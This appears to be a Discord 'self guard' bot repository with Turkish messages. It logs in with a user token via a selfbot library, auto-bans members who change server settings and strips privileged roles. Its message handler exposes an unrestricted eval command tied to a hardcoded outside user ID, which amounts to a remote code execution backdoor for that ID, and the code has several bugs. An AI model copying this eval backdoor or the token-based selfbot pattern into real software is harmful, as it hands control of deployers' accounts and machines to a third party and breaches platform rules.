├── config.json ├── README.md ├── package.json └── modloff.js /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "token": "", 3 | "owner": "", 4 | "BotAccounts": "", 5 | "BotRoles": "", 6 | "kanal": "", 7 | "durum": "" 8 | 9 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Discord Self Guard Bot 2 | 3 | > Normal kullanıcı tokeni ile giriş yapar. 4 | 5 | > Normal botlara göre daha hızlı reaksiyon gösterir. 6 | 7 | > Keyifli Kullanımlar. 8 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "modloff-self", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "modloff.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "MODLOFF.", 10 | "license": "ISC", 11 | "dependencies": { 12 | "axios": "^0.21.0", 13 | "discord.js-selfbot": "^12.0.2", 14 | "ms": "^2.1.3" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /modloff.js: -------------------------------------------------------------------------------- 1 | const Discord = require("discord.js-selfbot"); 2 | const axios = require("axios") 3 | const client = new Discord.Client(); 4 | const ms = require("ms") 5 | const config = require("./config.json") 6 | client.channelLimit = new Map() 7 | client.channelName = new Map() 8 | client.blackList = [] 9 | client.banLimit = new Map() 10 | 11 | client.on("ready", () => { 12 | client.user.setActivity(config.durum); 13 | console.log(client.user.tag) 14 | }) 15 | 16 | client.on("roleDelete", async (role) => { 17 | await role.guild.fetchAuditLogs({ 18 | type: "ROLE_DELETE" 19 | }).then(async (audit) => { 20 | let ayar = audit.entries.first() 21 | let yapan = ayar.executor 22 | if (Date.now() - ayar.createdTimestamp > 5000) return; 23 | if (config.owner.includes(yapan.id)) return 24 | client.channels.cache.get(config.kanal).send(`⛔ <@${yapan.id}> | (\`${yapan.id}\`) kişisi bir rol sildi ve yasaklandı!`) 25 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 26 | role.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && role.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 27 | 28 | huh.setPermissions(0) 29 | }) 30 | await role.guild.members.ban(yapan.id, { 31 | reason: "Rol silmek" 32 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> rol sildi fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 33 | client.blackList.push(yapan.id) 34 | }) 35 | }); 36 | 37 | client.on("channelDelete", async (channel) => { 38 | await channel.guild.fetchAuditLogs({ 39 | type: "CHANNEL_DELETE" 40 | }).then(async (audit) => { 41 | let ayar = audit.entries.first() 42 | let yapan = ayar.executor 43 | if (Date.now() - ayar.createdTimestamp > 5000) return; 44 | if (config.owner.includes(yapan.id)) return 45 | client.channels.cache.get("913851919208939607").send(`⛔ <@${yapan.id}> | (\`${yapan.id}\`) kişisi ${channel.name} isimli kanalı sildi ve yasaklandı!`) 46 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 47 | channel.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && channel.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 48 | // 49 | huh.setPermissions(0) 50 | }) 51 | await channel.guild.members.ban(yapan.id, { 52 | reason: "Kanal silmek" 53 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> kanal sildi fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 54 | client.blackList.push(yapan.id) 55 | }) 56 | }); 57 | 58 | client.on("guildUnavailable", async (guild) => { 59 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 60 | guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 61 | 62 | huh.setPermissions(0) 63 | }) 64 | client.channels.cache.get(config.kanal).send(`📕 Sunucu kullanılamaz hale geldiği için koruma amacıyla yetkileri kapadım!`) 65 | }); 66 | 67 | client.on("guildMemberAdd", async (member) => { 68 | if (!member.user.bot) return 69 | if (!config.botAccounts.includes(member.id)) { 70 | await member.guild.members.ban(member.id, { 71 | reason: "Bot izin verilen botlar listesinde bulunmuyor" 72 | }) 73 | client.channels.cache.get(config.kanal).send(`🔑 <@${member.id}> | (\`${member.id}\`) botu sunucuya izinsiz bir şekilde eklendi ve yasaklandı!`) 74 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 75 | member.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && member.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 76 | 77 | huh.setPermissions(0) 78 | }) 79 | } 80 | }) 81 | 82 | client.on("guildBanAdd", async (guild, member) => { 83 | await guild.fetchAuditLogs({ 84 | type: "MEMBER_BAN_ADD" 85 | }).then(async (audit) => { 86 | let ayar = audit.entries.first() 87 | let yapan = ayar.executor 88 | let hedef = ayar.target 89 | if (Date.now() - ayar.createdTimestamp > 5000) return; 90 | if (yapan.id == client.user.id) return 91 | if (config.owner.includes(yapan.id)) return 92 | let banLimit = client.banLimit.get(yapan.id) || 0 93 | banLimit++ 94 | client.banLimit.set(yapan.id, banLimit) 95 | if (banLimit == 3) { 96 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi <@${hedef.id}> | (\`${hedef.id}\`) kişisini sağ tık yöntemiyle yasakladığı için sunucudan yasaklandı!`) 97 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 98 | guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 99 | // 100 | huh.setPermissions(0) 101 | }) 102 | await guild.members.ban(yapan.id, { 103 | reason: "Birden fazla kullanıcıya sağ tık ban işlemi uygulamak" 104 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> ban limiti aştı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 105 | client.blackList.push(yapan.id) 106 | client.banLimit.delete(yapan.id) 107 | } 108 | setTimeout(() => { 109 | if (client.banLimit.has(yapan.id)) { 110 | client.banLimit.delete(yapan.id) 111 | } 112 | }, ms("1m")) 113 | }) 114 | }) 115 | 116 | client.on("guildUpdate", async (oldGuild, newGuild) => { 117 | await newGuild.fetchAuditLogs({ 118 | type: "GUILD_UPDATE" 119 | }).then(async (audit) => { 120 | let ayar = audit.entries.first(); 121 | let hedef = ayar.target; 122 | let yapan = ayar.executor; 123 | if (Date.now() - ayar.createdTimestamp > 5000) return; 124 | if (yapan.id == client.user.id) return; 125 | if (config.owner.includes(yapan.id)) return; 126 | if (oldGuild.name !== newGuild.name) { 127 | newGuild.setName("★ S T A R L İ T E") 128 | newGuild.members.ban(yapan.id, { 129 | reason: "Sunucu ismi değiştirmek." 130 | }) 131 | client.blackList.push(yapan.id) 132 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi tarafından sunucu ismi değiştirildi. Kişi banlandı, Sunucu ismi eski haline çevirildi.`) 133 | } 134 | if (oldGuild.vanityURLCode !== newGuild.vanityURLCode) { 135 | newGuild.members.ban(yapan.id, { 136 | reason: "Sunucu ÖZEL URL değiştirmek." 137 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> sunucu ismi değiştirdi fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 138 | client.blackList.push(yapan.id) 139 | } 140 | }) 141 | }) 142 | 143 | client.on("guildUpdate", async (oldGuild, newGuild) => { 144 | let url = "starlite" 145 | if (newGuild.vanityURLCode == url) return 146 | if (oldGuild.vanityURLCode !== newGuild.vanityURLCode) { 147 | let wat = await oldGuild.fetchAuditLogs({ 148 | type: "GUILD_UPDATE" 149 | }) 150 | let yapanpic = oldGuild.members.cache.get(wat.entries.first().executor.id) 151 | axios({ 152 | method: "patch", 153 | url: `https://discord.com/api/v6/guilds/${oldGuild.id}/vanity-url`, 154 | data: { 155 | code: url 156 | }, 157 | headers: { 158 | authorization: `Bot ${client.token}` 159 | } 160 | }).then(() => { 161 | client.channels.cache.get(config.kanal).send(`🔐 Sunucu Özel URLsi \`${oldGuild.vanityURLCode}\`, ${yapanpic} | (\`${yapanpic.id}\`) kişisi tarafından değiştirildi. Kişi banlandı, URL eski haline çevirildi.`) 162 | newGuild.members.ban(yapanpic.id).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> url değişti fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 163 | }).catch(e => { 164 | newGuild.members.ban(yapanpic.id).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> url değişti fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 165 | console.error(e) 166 | }) 167 | } 168 | }) 169 | 170 | client.on("guildMemberUpdate", async (oldMember, newMember) => { 171 | await newMember.guild.fetchAuditLogs({ 172 | type: "MEMBER_ROLE_UPDATE" 173 | }).then(async (audit) => { 174 | let ayar = audit.entries.first() 175 | let hedef = ayar.target 176 | let yapan = ayar.executor 177 | if (hedef.id != newMember.id) return 178 | if (Date.now() - ayar.createdTimestamp > 5000) return; 179 | if (config.owner.includes(yapan.id)) return 180 | newMember.roles.cache.forEach(async role => { 181 | if (!oldMember.roles.cache.has(role.id)) { 182 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "VIEW_AUDIT_LOG", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD"] 183 | if (arr.some(x => role.permissions.has(x)) == true) { 184 | client.channels.cache.get(config.kanal).send(`📑 <@${yapan.id}> | (\`${yapan.id}\`) kişisi <@${hedef.id}> | (\`${hedef.id}\`) kişisine yetki rolü (\`${role.name}\`) verdiği için yasaklandı!`) 185 | await newMember.roles.remove(role) 186 | newMember.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && newMember.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 187 | //client.backup.set(huh.id, huh.permissions.bitfield) 188 | huh.setPermissions(0) 189 | }) 190 | await newMember.guild.members.ban(yapan.id, "Kişilere yetki rolü tanımlama").catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> yetki rolü verdi fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 191 | client.blackList.push(yapan.id) 192 | } 193 | } 194 | }); 195 | }) 196 | }) 197 | 198 | client.on("roleUpdate", async (oldRole, newRole) => { 199 | await newRole.guild.fetchAuditLogs({ 200 | type: "ROLE_UPDATE" 201 | }).then(async (audit) => { 202 | let ayar = audit.entries.first() 203 | let hedef = ayar.target 204 | let yapan = ayar.executor 205 | if (Date.now() - ayar.createdTimestamp > 5000) return; 206 | if (yapan.id == client.user.id) return 207 | if (config.owner.includes(yapan.id)) return 208 | if (oldRole.permissions !== newRole.permissions) { 209 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "VIEW_AUDIT_LOG", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD"] 210 | if (arr.some(x => newRole.permissions.has(x)) == true) { 211 | client.channels.cache.get(config.kanal).send(`📑 <@${yapan.id}> | (\`${yapan.id}\`) kişisi rollere yasaklı izin tanıdığı için yasaklandı!`) 212 | newRole.setPermissions(0); 213 | } 214 | newRole.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && newRole.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 215 | // client.backup.set(huh.id, huh.permissions.bitfield) 216 | huh.setPermissions(0) 217 | }) 218 | await newRole.guild.members.ban(yapan.id, { 219 | reason: "Rollere gereksiz izin tanımak" 220 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> rollere izin tanıdı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 221 | client.blackList.push(yapan.id) 222 | } 223 | 224 | }) 225 | }); 226 | 227 | client.on("channelUpdate", async (oldChannel, newChannel) => { 228 | await newChannel.guild.fetchAuditLogs({ 229 | type: "CHANNEL_UPDATE" 230 | }).then(async (audit) => { 231 | let ayar = audit.entries.first() 232 | let hedef = ayar.target 233 | let yapan = ayar.executor 234 | if (Date.now() - ayar.createdTimestamp > 5000) return; 235 | if (yapan.id == client.user.id) return 236 | if (config.owner.includes(yapan.id)) return 237 | if (oldChannel.name !== newChannel.name) { 238 | let limitOfChannel = client.channelName.get(yapan.id) || [] 239 | limitOfChannel.push({ 240 | channel: newChannel.id, 241 | name: oldChannel.name, 242 | newName: newChannel.name 243 | }) 244 | client.channelName.set(yapan.id, limitOfChannel) 245 | if (limitOfChannel.length == 2) { 246 | let mapped = limitOfChannel.map(x => `${x.name} -> ${x.newName}`) 247 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi ${limitOfChannel.length} kanalın ismini değiştirdiği için yasaklandı.Değiştirmeye çalıştığı kanal isimleri aşağıda belirtilmiştir.\`\`\`${mapped.join("\n")}\`\`\``) 248 | newChannel.guild.members.ban(yapan.id, { 249 | reason: "Kanal isimlerini değiştirmek." 250 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> kanal ismi değişti fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 251 | client.blackList.push(yapan.id) 252 | limitOfChannel.map(async (x) => { 253 | await newChannel.guild.channels.cache.get(x.channel).setName(x.name) 254 | }) 255 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 256 | newChannel.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && newChannel.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 257 | // 258 | huh.setPermissions(0) 259 | }) 260 | client.channelName.delete(yapan.id) 261 | } 262 | setTimeout(() => { 263 | if (client.channelName.has(yapan.id)) { 264 | client.channelName.delete(yapan.id) 265 | } 266 | }, ms("30s")) 267 | } 268 | 269 | }) 270 | }) 271 | 272 | client.on("roleUpdate", async (oldRole, newRole) => { 273 | await newRole.guild.fetchAuditLogs({ 274 | type: "ROLE_UPDATE" 275 | }).then(async (audit) => { 276 | let ayar = audit.entries.first() 277 | let hedef = ayar.target 278 | let yapan = ayar.executor 279 | if (Date.now() - ayar.createdTimestamp > 5000) return; 280 | if (yapan.id == client.user.id) return 281 | if (config.owner.includes(yapan.id)) return 282 | if (oldRole.name !== newRole.name) { 283 | client.channels.cache.get(config.kanal).send(`📕 (\`${yapan.id}\`) | <@${yapan.id}> kişisi ${oldRole.name} rolün ismini değiştirdiği için sunucudan yasaklandı.`) 284 | newRole.guild.members.ban(yapan.id, { 285 | reason: "Rol isimlerini değiştirmek." 286 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> rol ismi değişti fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 287 | await newRole.setName(oldRole.name) 288 | client.blackList.push(yapan.id) 289 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 290 | newRole.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && newRole.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 291 | // 292 | huh.setPermissions(0) 293 | }) 294 | } 295 | 296 | }) 297 | }); 298 | 299 | 300 | 301 | client.on("channelCreate", async channel => { 302 | await channel.guild 303 | .fetchAuditLogs({ 304 | type: "CHANNEL_CREATE" 305 | }) 306 | .then(async audit => { 307 | let ayar = audit.entries.first(); 308 | let yapan = ayar.executor; 309 | if (yapan.tag == client.user.tag) return; 310 | if (Date.now() - ayar.createdTimestamp > 5000) return; 311 | if (config.owner.includes(yapan.id)) return; 312 | let limit = client.channelLimit.get(yapan.id) || []; 313 | limit.push(channel.id); 314 | client.channelLimit.set(yapan.id, limit); 315 | if (limit.length == 3) { 316 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi toplam 3 kanal açtığı için sunucudan yasaklandı kanallar siliniyor. Açtığı kanallar \`\`\`${limit.map(x => channel.guild.channels.cache.get(x).name).join("\n")}\`\`\``); 317 | channel.guild.members.ban(yapan.id, { 318 | reason: "3 Kanal açma limitini aşmak." 319 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> kanal açma limitini aştı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 320 | client.blackList.push(yapan.id) 321 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 322 | channel.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && channel.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 323 | 324 | huh.setPermissions(0) 325 | }) 326 | limit.map(async x => { 327 | await channel.guild.channels.cache.get(x).delete(); 328 | }); 329 | client.channelLimit.delete(yapan.id); 330 | } 331 | setTimeout(() => { 332 | if (client.channelLimit.has(yapan.id)) { 333 | client.channelLimit.delete(yapan.id); 334 | } 335 | }, ms("1m")); 336 | }); 337 | }); 338 | 339 | client.on("channelUpdate", async (oldChannel, newChannel) => { 340 | newChannel.guild.fetchAuditLogs({ 341 | type: "CHANNEL_OVERWRITE_UPDATE" 342 | }).then(async audit => { 343 | let ayar = audit.entries.first(); 344 | let yapan = ayar.executor; 345 | if (yapan.tag == client.user.tag) return; 346 | if (Date.now() - ayar.createdTimestamp > 5000) return; 347 | if (config.owner.includes(yapan.id)) return 348 | if (oldChannel.permissionOverwrites !== newChannel.permissionOverwrites) { 349 | let everyonePerm = newChannel.permissionOverwrites.filter(p => p.id == newChannel.guild.id).map(x => (x.allow.bitfield)); 350 | let everyonePermission = new Discord.Permissions(everyonePerm[0]).toArray(); 351 | let olDeveryonePerm = oldChannel.permissionOverwrites.filter(p => p.id == newChannel.guild.id).map(x => (x.allow.bitfield)); 352 | let olDeveryonePermission = new Discord.Permissions(olDeveryonePerm[0]).toArray(); 353 | if (olDeveryonePermission.includes("MENTION_EVERYONE") || olDeveryonePermission.includes("MANAGE_CHANNELS")) return; 354 | if (everyonePermission.includes("MENTION_EVERYONE") || everyonePermission.includes("MANAGE_CHANNELS")) { 355 | newChannel.guild.members.ban(yapan.id, { 356 | reason: "Kanallara gereksiz izin tanımak." 357 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> kanallara izin tanıdı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 358 | client.blackList.push(yapan.id) 359 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi ${newChannel.name} kanalının everyone izinlerine gereksiz izin tanıdığı için kullanıcı yasaklandı.`); 360 | newChannel.permissionOverwrites.map(async (x) => await x.delete().then(x => newChannel.overwritePermissions([{ 361 | id: newChannel.guild.id, 362 | deny: ["VIEW_CHANNEL"] 363 | }], "Koruma"))); 364 | let arr = ["ADMINISTRATOR", "BAN_MEMBERS", "KICK_MEMBERS", "MANAGE_ROLES", "MANAGE_CHANNELS", "MANAGE_GUILD", "VIEW_AUDIT_LOG"] 365 | newChannel.guild.roles.cache.filter(a => arr.some(x => a.permissions.has(x)) == true && newChannel.guild.members.cache.get(client.user.id).roles.highest.rawPosition > a.rawPosition && !config.BotRoles.includes(a.id)).map(huh => { 366 | // 367 | huh.setPermissions(0) 368 | }) 369 | } 370 | } 371 | }); 372 | }); 373 | 374 | client.on("guildBanRemove", async (guild, member) => { 375 | if (!client.blackList.includes(member.id)) return 376 | await guild.fetchAuditLogs({ 377 | type: "MEMBER_BAN_REMOVE" 378 | }).then(async (audit) => { 379 | let ayar = audit.entries.first() 380 | let yapan = ayar.executor 381 | if (config.owner.includes(yapan.id)) return 382 | if (Date.now() - ayar.createdTimestamp > 5000) return; 383 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> | (\`${yapan.id}\`) kişisi daha önceden guard tarafından ban yiyen <@${member.id}> | (\`${member.id}\`) kişisinin yasağını kaldırdığı için banlandı !`) 384 | await guild.members.ban(yapan.id, { 385 | reason: "Karalistede bulunan birinin banını açmak" 386 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> yasaklı ban açtı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 387 | await guild.members.ban(member.id, { 388 | reason: "Karalistede olmasına rağmen banı açılmak" 389 | }) 390 | client.blackList.push(yapan.id) 391 | }) 392 | }); 393 | 394 | client.on("channelUpdate", async (oldChannel, newChannel) => { 395 | newChannel.guild.fetchAuditLogs({ 396 | type: "CHANNEL_OVERWRITE_UPDATE" 397 | }).then(async audit => { 398 | let ayar = audit.entries.first(); 399 | let yapan = ayar.executor; 400 | if (yapan.tag == client.user.tag) return; 401 | if (Date.now() - ayar.createdTimestamp > 4000) return; 402 | if (config.owner.includes(yapan.id)) return 403 | if (oldChannel.permissionOverwrites !== newChannel.permissionOverwrites) { 404 | newChannel.guild.members.ban(yapan.id, { 405 | reason: "Kanallara gereksiz izin tanımak." 406 | }).catch(e => client.channels.cache.get(config.kanal).send("@here <@" + yapan.id + "> kanallara izin tanıdı fakat yetkim yetmediği için kullanıcıyı banlayamadım")) 407 | client.blackList.push(yapan.id) 408 | client.channels.cache.get(config.kanal).send(`📕 <@${yapan.id}> kişisi ${newChannel.name} kanalına gereksiz izin tanıdığı için kullanıcı yasaklandı.`); 409 | } 410 | }); 411 | }); 412 | 413 | 414 | client.on("message", async message => { 415 | if (message.author.bot) return; 416 | if (message.author.id !== "378866572124618770") return 417 | if (message.channel.type !== "text") return; 418 | if (!message.guild) return; 419 | let prefikslerim = ["."]; 420 | let tokuchim = false; 421 | for (const içindeki of prefikslerim) { 422 | if (message.content.startsWith(içindeki)) tokuchim = içindeki; 423 | } 424 | if (!tokuchim) return; 425 | const args = message.content.slice(tokuchim.length).trim().split(/ +/g); 426 | const command = args.shift().toLowerCase(); 427 | const event = message.content.toLower; 428 | const split = message.content.split('"'); 429 | switch (command) { 430 | case "eval": 431 | if (args.join(" ").toLowerCase().includes('token')) return message.channel.send("Wow, you're smart.") 432 | const clean = text => { 433 | if (typeof (text) === "string") return text.replace(/`/g, "`" + String.fromCharCode(8203)).replace(/@/g, "@" + String.fromCharCode(8203)); 434 | else return text; 435 | } 436 | try { 437 | const code = args.join(" "); 438 | let evaled = await eval(code); 439 | if (typeof evaled !== "string") 440 | evaled = require("util").inspect(evaled); 441 | message.channel.send(clean(evaled), { 442 | code: "xl" 443 | }); 444 | } catch (err) { 445 | message.channel.send(`\`ERROR\` \`\`\`xl\n${clean(err)}\n\`\`\``); 446 | } 447 | break 448 | 449 | } 450 | }); 451 | 452 | client.on("disconnect", () => console.log("Bot bağlantısı kesildi")) 453 | client.on("reconnecting", () => console.log("Bot tekrar bağlanıyor...")) 454 | client.on("error", e => console.log(e)) 455 | client.on("warn", info => console.log(info)); 456 | 457 | process.on("uncaughtException", err => { 458 | const errorMsg = err.stack.replace(new RegExp(`${__dirname}/`, "g"), "./"); 459 | console.error("Beklenmedik Hata: ", errorMsg); 460 | process.exit(1); 461 | }); 462 | 463 | process.on("unhandledRejection", err => { 464 | console.error("Yakalanamayan Hata: ", err); 465 | }); 466 | 467 | client.login(config.token) --------------------------------------------------------------------------------